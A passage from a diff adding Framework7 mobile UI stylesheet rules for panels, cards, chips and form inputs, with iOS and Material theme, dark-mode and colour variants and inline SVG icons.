-webkit-box-shadow: none; + box-shadow: none; +} +.md.with-panel-left-cover .panel-cover, +.md.with-panel-right-cover .panel-cover { + -webkit-box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.5); + box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.5); +} +.md.with-panel-left-reveal .views, +.md.with-panel-right-reveal .views, +.md.with-panel-left-reveal .framework7-root > .view, +.md.with-panel-right-reveal .framework7-root > .view { + -webkit-box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.5); + box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.5); +} +.md.with-panel-left-reveal .views, +.md.with-panel-right-reveal .views, +.md.with-panel-transitioning .views, +.md.with-panel-left-reveal .framework7-root > .view, +.md.with-panel-right-reveal .framework7-root > .view, +.md.with-panel-transitioning .framework7-root > .view { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-transform, -webkit-box-shadow; + transition-property: -webkit-transform, -webkit-box-shadow; + transition-property: transform, box-shadow; + transition-property: transform, box-shadow, -webkit-transform, -webkit-box-shadow; +} +/* === Card === */ +.cards-list > ul:before, +.card .list > ul:before { + display: none !important; +} +.cards-list > ul:after, +.card .list > ul:after { + display: none !important; +} +.card { + background: #fff; + position: relative; + border-radius: 4px; + font-size: 14px; +} +.card .list, +.card .block { + margin: 0; +} +.row:not(.no-gap) .col > .card { + margin-left: 0; + margin-right: 0; +} +.card-content { + position: relative; +} +.card-content-padding { + position: relative; +} +.card-content-padding > p:first-child { + margin-top: 0; +} +.card-content-padding > p:last-child { + margin-bottom: 0; +} +.card-header, +.card-footer { + min-height: 44px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.card-header[valign="top"], +.card-footer[valign="top"] { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.card-header[valign="bottom"], +.card-footer[valign="bottom"] { + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; +} +.card-header a.link, +.card-footer a.link { + position: relative; +} +.card-header a.link i.icon, +.card-footer a.link i.icon { + display: block; +} +.card-header a.icon-only, +.card-footer a.icon-only { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + margin: 0; +} +.card-header { + border-radius: 4px 4px 0 0; +} +.card-header:after { + content: ''; + position: absolute; + background-color: #e1e1e1; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +html.device-pixel-ratio-2 .card-header:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .card-header:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.card-header.no-hairline:after { + display: none !important; +} +.card-footer { + border-radius: 0 0 4px 4px; +} +.card-footer:before { + content: ''; + position: absolute; + background-color: #e1e1e1; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +html.device-pixel-ratio-2 .card-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .card-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.card-footer.no-hairline:before { + display: none !important; +} +.ios .cards-list ul, +.ios .card .list ul { + background: none; +} +.ios .card { + -webkit-box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.3); + box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.3); + margin: 10px; +} +.ios .card-outline { + -webkit-box-shadow: none; + box-shadow: none; + border: 1px solid rgba(0, 0, 0, 0.12); +} +.ios .card-header a.link, +.ios .card-footer a.link { + line-height: 44px; + height: 44px; + margin-top: -10px; + margin-bottom: -10px; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.ios .card-header a.icon-only, +.ios .card-footer a.icon-only { + min-width: 44px; +} +.ios .card-content-padding { + padding: 15px; +} +.ios .card-content-padding > .list, +.ios .card-content-padding > .block { + margin: -15px; +} +.ios .card-header, +.ios .card-footer { + min-height: 44px; + padding: 10px 15px; +} +.ios .card-header { + font-size: 17px; +} +.ios .card-footer { + color: #6d6d72; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .card:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .card:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(10px + constant(safe-area-inset-left)); + margin-left: calc(10px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .card:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .card:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(10px + constant(safe-area-inset-right)); + margin-right: calc(10px + env(safe-area-inset-right)); + } +} +.ios .theme-dark .card { + background-color: #1c1c1d; +} +.ios .theme-dark .card-outline { + border-color: #282829; +} +.ios .theme-dark .card-header:after { + background-color: #282829; +} +.ios .theme-dark .card-footer { + color: #8E8E93; +} +.ios .theme-dark .card-footer:before { + background-color: #282829; +} +.md .cards-list ul, +.md .card .list ul { + background: none; +} +.md .card { + margin: 8px; + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12); + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12); +} +.md .card-outline { + -webkit-box-shadow: none; + box-shadow: none; + border: 1px solid rgba(0, 0, 0, 0.12); +} +.md .card-header a.link, +.md .card-footer a.link { + text-decoration: none; + text-align: center; + display: block; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + padding: 0 10px; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + position: relative; + overflow: hidden; + font-family: inherit; + cursor: pointer; + outline: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; + color: #2196f3; + border-radius: 4px; + line-height: 36px; + height: 36px; + text-transform: uppercase; + min-width: 64px; + padding: 0 8px; + border: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + font-weight: 500; + letter-spacing: 0.03em; +} +input[type="submit"].md .card-header a.link, +input[type="submit"].md .card-footer a.link, +input[type="button"].md .card-header a.link, +input[type="button"].md .card-footer a.link { + width: 100%; +} +.md .card-header a.link.active-state, +.md .card-footer a.link.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .card-header a.icon-only, +.md .card-footer a.icon-only { + min-width: 48px; +} +.md .page-content > .card:last-child { + margin-bottom: 32px; +} +.md .card-content-padding { + padding: 16px; +} +.md .card-content-padding > .list, +.md .card-content-padding > .block { + margin: -16px; +} +.md .card-header, +.md .card-footer { + min-height: 48px; + padding: 4px 16px; +} +.md .card-header { + font-size: 16px; +} +.md .card-footer { + color: #757575; +} +.md .theme-dark .card { + background-color: rgba(255, 255, 255, 0.03); +} +.md .theme-dark .card-outline { + border-color: #282829; +} +.md .theme-dark .card-header:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .card-footer { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .card-footer:before { + background-color: rgba(255, 255, 255, 0.08); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .card:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .card:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(8px + constant(safe-area-inset-left)); + margin-left: calc(8px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .card:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .card:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(8px + constant(safe-area-inset-right)); + margin-right: calc(8px + env(safe-area-inset-right)); + } +} +.md .color-theme-red .card-header a.link, +.md .color-theme-red .card-footer a.link, +.md .card-header.color-theme-red a.link, +.md .card-footer.color-theme-red a.link { + color: #f44336; +} +.md .color-theme-green .card-header a.link, +.md .color-theme-green .card-footer a.link, +.md .card-header.color-theme-green a.link, +.md .card-footer.color-theme-green a.link { + color: #4caf50; +} +.md .color-theme-blue .card-header a.link, +.md .color-theme-blue .card-footer a.link, +.md .card-header.color-theme-blue a.link, +.md .card-footer.color-theme-blue a.link { + color: #2196f3; +} +.md .color-theme-pink .card-header a.link, +.md .color-theme-pink .card-footer a.link, +.md .card-header.color-theme-pink a.link, +.md .card-footer.color-theme-pink a.link { + color: #e91e63; +} +.md .color-theme-yellow .card-header a.link, +.md .color-theme-yellow .card-footer a.link, +.md .card-header.color-theme-yellow a.link, +.md .card-footer.color-theme-yellow a.link { + color: #ffeb3b; +} +.md .color-theme-orange .card-header a.link, +.md .color-theme-orange .card-footer a.link, +.md .card-header.color-theme-orange a.link, +.md .card-footer.color-theme-orange a.link { + color: #ff9800; +} +.md .color-theme-gray .card-header a.link, +.md .color-theme-gray .card-footer a.link, +.md .card-header.color-theme-gray a.link, +.md .card-footer.color-theme-gray a.link { + color: #9e9e9e; +} +.md .color-theme-white .card-header a.link, +.md .color-theme-white .card-footer a.link, +.md .card-header.color-theme-white a.link, +.md .card-footer.color-theme-white a.link { + color: #ffffff; +} +.md .color-theme-black .card-header a.link, +.md .color-theme-black .card-footer a.link, +.md .card-header.color-theme-black a.link, +.md .card-footer.color-theme-black a.link { + color: #000000; +} +.md .card-header a.link.color-red, +.md .card-footer a.link.color-red { + color: #f44336; +} +.md .card-header a.link.color-green, +.md .card-footer a.link.color-green { + color: #4caf50; +} +.md .card-header a.link.color-blue, +.md .card-footer a.link.color-blue { + color: #2196f3; +} +.md .card-header a.link.color-pink, +.md .card-footer a.link.color-pink { + color: #e91e63; +} +.md .card-header a.link.color-yellow, +.md .card-footer a.link.color-yellow { + color: #ffeb3b; +} +.md .card-header a.link.color-orange, +.md .card-footer a.link.color-orange { + color: #ff9800; +} +.md .card-header a.link.color-gray, +.md .card-footer a.link.color-gray { + color: #9e9e9e; +} +.md .card-header a.link.color-white, +.md .card-footer a.link.color-white { + color: #ffffff; +} +.md .card-header a.link.color-black, +.md .card-footer a.link.color-black { + color: #000000; +} +/* === Chips === */ +.chip { + font-weight: normal; + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + margin: 2px 0; +} +.chip-media { + border-radius: 50%; + text-align: center; + color: #fff; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.chip-media img { + max-width: 100%; + max-height: 100%; + width: auto; + height: auto; + border-radius: 50%; + display: block; +} +.chip-label { + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + position: relative; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.chip-delete { + text-align: center; + cursor: pointer; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + background-repeat: no-repeat; +} +.chip .chip-delete.active-state { + opacity: 1; +} +.ios .chip { + font-size: 13px; + color: #000; + background: rgba(0, 0, 0, 0.12); + height: 24px; + border-radius: 12px; + padding: 0 10px; +} +.ios .chip-outline { + background: none; + border: 1px solid rgba(0, 0, 0, 0.12); +} +.ios .chip-media { + width: 24px; + height: 24px; + vertical-align: middle; + border-radius: 50%; + text-align: center; + line-height: 16px; + color: #fff; + font-size: 12px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin-left: -10px; +} +.ios .chip-media + .chip-label { + margin-left: 4px; +} +.ios .chip-media i.icon { + font-size: 16px; + height: 16px; +} +.ios .chip-delete { + width: 24px; + height: 24px; + line-height: 24px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%23000'%2F%3E%3Cline%20stroke%3D'%23fff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23fff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E"); + background-position: center; + background-size: 14px 14px; + opacity: 0.54; + margin-right: -10px; +} +.ios .theme-dark .chip { + background-color: #333; + color: #fff; +} +.ios .theme-dark .chip-outline { + background: none; + border-color: #333; +} +.ios .theme-dark .chip-delete { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%23fff'%2F%3E%3Cline%20stroke%3D'%23000'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23000'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .chip.color-red { + background: #ff3b30; + color: #fff; +} +.ios .chip.color-red.chip-outline { + background: none; + border-color: #ff3b30; + color: #ff3b30; +} +.ios .chip.color-green { + background: #4cd964; + color: #fff; +} +.ios .chip.color-green.chip-outline { + background: none; + border-color: #4cd964; + color: #4cd964; +} +.ios .chip.color-blue { + background: #007aff; + color: #fff; +} +.ios .chip.color-blue.chip-outline { + background: none; + border-color: #007aff; + color: #007aff; +} +.ios .chip.color-pink { + background: #ff2d55; + color: #fff; +} +.ios .chip.color-pink.chip-outline { + background: none; + border-color: #ff2d55; + color: #ff2d55; +} +.ios .chip.color-yellow { + background: #ffcc00; + color: #fff; +} +.ios .chip.color-yellow.chip-outline { + background: none; + border-color: #ffcc00; + color: #ffcc00; +} +.ios .chip.color-orange { + background: #ff9500; + color: #fff; +} +.ios .chip.color-orange.chip-outline { + background: none; + border-color: #ff9500; + color: #ff9500; +} +.ios .chip.color-gray { + background: #8e8e93; + color: #fff; +} +.ios .chip.color-gray.chip-outline { + background: none; + border-color: #8e8e93; + color: #8e8e93; +} +.ios .chip.color-white { + background: #ffffff; + color: #fff; +} +.ios .chip.color-white.chip-outline { + background: none; + border-color: #ffffff; + color: #ffffff; +} +.ios .chip.color-black { + background: #000000; + color: #fff; +} +.ios .chip.color-black.chip-outline { + background: none; + border-color: #000000; + color: #000000; +} +.md .chip { + font-size: 13px; + color: rgba(0, 0, 0, 0.87); + background: rgba(0, 0, 0, 0.12); + height: 32px; + line-height: 32px; + border-radius: 16px; + padding: 0 12px; +} +.md .chip-outline { + background: none; + border: 1px solid rgba(0, 0, 0, 0.12); +} +.md .chip-media { + width: 32px; + height: 32px; + vertical-align: top; + border-radius: 50%; + text-align: center; + line-height: 32px; + color: #fff; + font-size: 16px; + margin-left: -12px; +} +.md .chip-media + .chip-label { + margin-left: 8px; +} +.md .chip-label + .chip-delete { + margin-left: 4px; +} +.md .chip-delete { + width: 24px; + height: 24px; + line-height: 24px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M12%202C6.47%202%202%206.47%202%2012s4.47%2010%2010%2010%2010-4.47%2010-10S17.53%202%2012%202zm5%2013.59L15.59%2017%2012%2013.41%208.41%2017%207%2015.59%2010.59%2012%207%208.41%208.41%207%2012%2010.59%2015.59%207%2017%208.41%2013.41%2012%2017%2015.59z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); + background-position: center; + background-size: 20px 20px; + opacity: 0.54; + margin-right: -8px; +} +.md .theme-dark .chip { + background: #333; + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .chip-outline { + background: none; + border-color: #333; +} +.md .theme-dark .chip-delete { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M12%202C6.47%202%202%206.47%202%2012s4.47%2010%2010%2010%2010-4.47%2010-10S17.53%202%2012%202zm5%2013.59L15.59%2017%2012%2013.41%208.41%2017%207%2015.59%2010.59%2012%207%208.41%208.41%207%2012%2010.59%2015.59%207%2017%208.41%2013.41%2012%2017%2015.59z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .chip.color-red { + background: #f44336; + color: #fff; +} +.md .chip.color-red.chip-outline { + background: none; + border-color: #f44336; + color: #f44336; +} +.md .chip.color-green { + background: #4caf50; + color: #fff; +} +.md .chip.color-green.chip-outline { + background: none; + border-color: #4caf50; + color: #4caf50; +} +.md .chip.color-blue { + background: #2196f3; + color: #fff; +} +.md .chip.color-blue.chip-outline { + background: none; + border-color: #2196f3; + color: #2196f3; +} +.md .chip.color-pink { + background: #e91e63; + color: #fff; +} +.md .chip.color-pink.chip-outline { + background: none; + border-color: #e91e63; + color: #e91e63; +} +.md .chip.color-yellow { + background: #ffeb3b; + color: #fff; +} +.md .chip.color-yellow.chip-outline { + background: none; + border-color: #ffeb3b; + color: #ffeb3b; +} +.md .chip.color-orange { + background: #ff9800; + color: #fff; +} +.md .chip.color-orange.chip-outline { + background: none; + border-color: #ff9800; + color: #ff9800; +} +.md .chip.color-gray { + background: #9e9e9e; + color: #fff; +} +.md .chip.color-gray.chip-outline { + background: none; + border-color: #9e9e9e; + color: #9e9e9e; +} +.md .chip.color-white { + background: #ffffff; + color: #fff; +} +.md .chip.color-white.chip-outline { + background: none; + border-color: #ffffff; + color: #ffffff; +} +.md .chip.color-black { + background: #000000; + color: #fff; +} +.md .chip.color-black.chip-outline { + background: none; + border-color: #000000; + color: #000000; +} +/* === Input === */ +input[type="text"], +input[type="password"], +input[type="search"], +input[type="email"], +input[type="tel"], +input[type="url"], +input[type="date"], +input[type="datetime-local"], +input[type="time"], +input[type="number"], +select, +textarea { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border: none; + -webkit-box-shadow: none; + box-shadow: none; + border-radius: 0; + outline: 0; + display: block; + padding: 0; + margin: 0; + font-family: inherit; + background: none; + resize: none; + font-size: inherit; + color: inherit; +} +.textarea-resizable-shadow { + opacity: 0; + position: absolute; + z-index: -1000; + pointer-events: none; + left: -1000px; + top: -1000px; + visibility: hidden; +} +.list input[type="text"], +.list input[type="password"], +.list input[type="search"], +.list input[type="email"], +.list input[type="tel"], +.list input[type="url"], +.list input[type="date"], +.list input[type="datetime-local"], +.list input[type="time"], +.list input[type="number"], +.list select, +.list textarea { + width: 100%; +} +.list input[type="datetime-local"] { + max-width: 50vw; +} +.list input[type="date"], +.list input[type="datetime-local"] { + line-height: 44px; +} +.list textarea { + resize: none; + line-height: 1.4; + height: 100px; +} +.list .item-label, +.list .item-floating-label { + vertical-align: top; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.list .item-input-wrap { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; +} +.input { + position: relative; +} +.input input, +.input select, +.input textarea { + width: 100%; +} +.input-clear-button { + opacity: 0; + pointer-events: none; + visibility: hidden; + -webkit-transition-duration: 100ms; + transition-duration: 100ms; + position: absolute; + top: 50%; + border-radius: 50%; + border: none; + padding: 0; + margin: 0; + outline: 0; + z-index: 1; + cursor: pointer; + background: none; + right: 0; +} +.input-clear-button:after { + content: ''; + position: absolute; + width: 100%; + height: 100%; + left: 0; + top: 0; + background-repeat: no-repeat; + background-position: center center; +} +.input-clear-button:before { + position: absolute; + content: ''; + left: 50%; + top: 50%; +} +.input-with-value ~ .input-clear-button, +.item-input-with-value .input-clear-button, +.input-with-value .input-clear-button { + opacity: 1; + pointer-events: auto; + visibility: visible; +} +.input-dropdown-wrap, +.input-dropdown { + position: relative; +} +.input-dropdown-wrap:before, +.input-dropdown:before { + content: ''; + pointer-events: none; + position: absolute; + top: 50%; + margin-top: -2px; + width: 0; + height: 0; + border-left: 5px solid transparent; + border-right: 5px solid transparent; + border-top: 5px solid #727272; + right: 2px; +} +.input-dropdown-wrap select, +.input-dropdown select, +.input-dropdown-wrap input, +.input-dropdown input, +.input-dropdown-wrap textarea, +.input-dropdown textarea { + padding-right: 14px; +} +.ios .list input[type="text"], +.ios .list input[type="password"], +.ios .list input[type="search"], +.ios .list input[type="email"], +.ios .list input[type="tel"], +.ios .list input[type="url"], +.ios .list input[type="date"], +.ios .list input[type="datetime-local"], +.ios .list input[type="time"], +.ios .list input[type="number"], +.ios .list select { + height: 44px; + color: #000; + font-size: 17px; +} +.ios .list textarea { + color: #000; + font-size: 17px; + padding-top: 11px; + padding-bottom: 11px; +} +.ios .list textarea.resizable { + height: 44px; +} +.ios .item-label, +.ios .item-floating-label { + font-size: 12px; + width: 100%; + line-height: 1; + overflow: visible; +} +.ios .item-label + .item-input-wrap, +.ios .item-floating-label + .item-input-wrap { + margin-top: 0; +} +.ios .item-input .item-inner { + display: block; +} +.ios .item-input .item-media { + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; +} +.ios .item-input-wrap { + margin-top: -8px; + margin-bottom: -8px; +} +.ios .inline-labels .item-inner, +.ios .inline-label .item-inner { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.ios .inline-labels .item-label, +.ios .inline-label .item-label, +.ios .inline-labels .item-floating-label, +.ios .inline-label .item-floating-label { + font-size: 17px; + width: 35%; + line-height: 1.4; + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; + padding-top: 3px; +} +.ios .inline-labels .item-label + .item-input-wrap, +.ios .inline-label .item-label + .item-input-wrap, +.ios .inline-labels .item-floating-label + .item-input-wrap, +.ios .inline-label .item-floating-label + .item-input-wrap { + margin-top: -8px; + margin-left: 5px; +} +.ios .inline-labels .item-input-wrap, +.ios .inline-label .item-input-wrap { + margin-top: -8px; +} +.ios .item-input-with-error-message .item-input-wrap input, +.ios div.input-with-error-message input, +.ios span.input-with-error-message input, +.ios .item-input-with-error-message .item-input-wrap select, +.ios div.input-with-error-message select, +.ios span.input-with-error-message select, +.ios .item-input-with-error-message .item-input-wrap textarea, +.ios div.input-with-error-message textarea, +.ios span.input-with-error-message textarea { + color: #ff3b30; +} +.ios .item-input-error-message, +.ios .item-input-info, +.ios .input-error-message, +.ios .input-info { + font-size: 12px; + line-height: 1.4; + position: relative; + margin-bottom: 6px; + margin-top: -8px; +} +.ios .item-input-info, +.ios .input-info { + color: #8e8e93; +} +.ios .item-input-error-message, +.ios .input-error-message { + color: #ff3b30; + display: none; +} +.ios .item-input-invalid .item-input-error-message { + display: block; +} +.ios .item-input-invalid .item-input-info { + display: none; +} +.ios .input-invalid .input-error-message { + display: block; +} +.ios .input-invalid .input-info { + display: none; +} +.ios .input-clear-button { + width: 14px; + height: 14px; + margin-top: -7px; +} +.ios .input-clear-button:after { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%238e8e93'%2F%3E%3Cline%20stroke%3D'%23ffffff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23ffffff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E"); + background-size: 14px 14px; +} +.ios .input-clear-button:before { + width: 44px; + height: 44px; + margin-left: -22px; + margin-top: -22px; +} +.ios .item-input-wrap .input-clear-button { + top: 22px; +} +.ios .theme-dark .list input[type="text"], +.list.ios .theme-dark input[type="text"], +.ios .theme-dark .list input[type="password"], +.list.ios .theme-dark input[type="password"], +.ios .theme-dark .list input[type="search"], +.list.ios .theme-dark input[type="search"], +.ios .theme-dark .list input[type="email"], +.list.ios .theme-dark input[type="email"], +.ios .theme-dark .list input[type="tel"], +.list.ios .theme-dark input[type="tel"], +.ios .theme-dark .list input[type="url"], +.list.ios .theme-dark input[type="url"], +.ios .theme-dark .list input[type="date"], +.list.ios .theme-dark input[type="date"], +.ios .theme-dark .list input[type="datetime-local"], +.list.ios .theme-dark input[type="datetime-local"], +.ios .theme-dark .list input[type="time"], +.list.ios .theme-dark input[type="time"], +.ios .theme-dark .list input[type="number"], +.list.ios .theme-dark input[type="number"], +.ios .theme-dark .list select, +.list.ios .theme-dark select { + color: #fff; +} +.ios .theme-dark .list textarea, +.list.ios .theme-dark textarea { + color: #fff; +} +.md .list input[type="text"], +.md .list input[type="password"], +.md .list input[type="search"], +.md .list input[type="email"], +.md .list input[type="tel"], +.md .list input[type="url"], +.md .list input[type="date"], +.md .list input[type="datetime-local"], +.md .list input[type="time"], +.md .list input[type="number"], +.md .list select { + height: 36px; + color: #212121; + font-size: 16px; +} +.md .list input[type="text"]::-webkit-input-placeholder, +.md .list input[type="password"]::-webkit-input-placeholder, +.md .list input[type="search"]::-webkit-input-placeholder, +.md .list input[type="email"]::-webkit-input-placeholder, +.md .list input[type="tel"]::-webkit-input-placeholder, +.md .list input[type="url"]::-webkit-input-placeholder, +.md .list input[type="date"]::-webkit-input-placeholder, +.md .list input[type="datetime-local"]::-webkit-input-placeholder, +.md .list input[type="time"]::-webkit-input-placeholder, +.md .list input[type="number"]::-webkit-input-placeholder, +.md .list select::-webkit-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list input[type="text"]:-ms-input-placeholder, +.md .list input[type="password"]:-ms-input-placeholder, +.md .list input[type="search"]:-ms-input-placeholder, +.md .list input[type="email"]:-ms-input-placeholder, +.md .list input[type="tel"]:-ms-input-placeholder, +.md .list input[type="url"]:-ms-input-placeholder, +.md .list input[type="date"]:-ms-input-placeholder, +.md .list input[type="datetime-local"]:-ms-input-placeholder, +.md .list input[type="time"]:-ms-input-placeholder, +.md .list input[type="number"]:-ms-input-placeholder, +.md .list select:-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list input[type="text"]::-ms-input-placeholder, +.md .list input[type="password"]::-ms-input-placeholder, +.md .list input[type="search"]::-ms-input-placeholder, +.md .list input[type="email"]::-ms-input-placeholder, +.md .list input[type="tel"]::-ms-input-placeholder, +.md .list input[type="url"]::-ms-input-placeholder, +.md .list input[type="date"]::-ms-input-placeholder, +.md .list input[type="datetime-local"]::-ms-input-placeholder, +.md .list input[type="time"]::-ms-input-placeholder, +.md .list input[type="number"]::-ms-input-placeholder, +.md .list select::-ms-input-placeholder { + color: 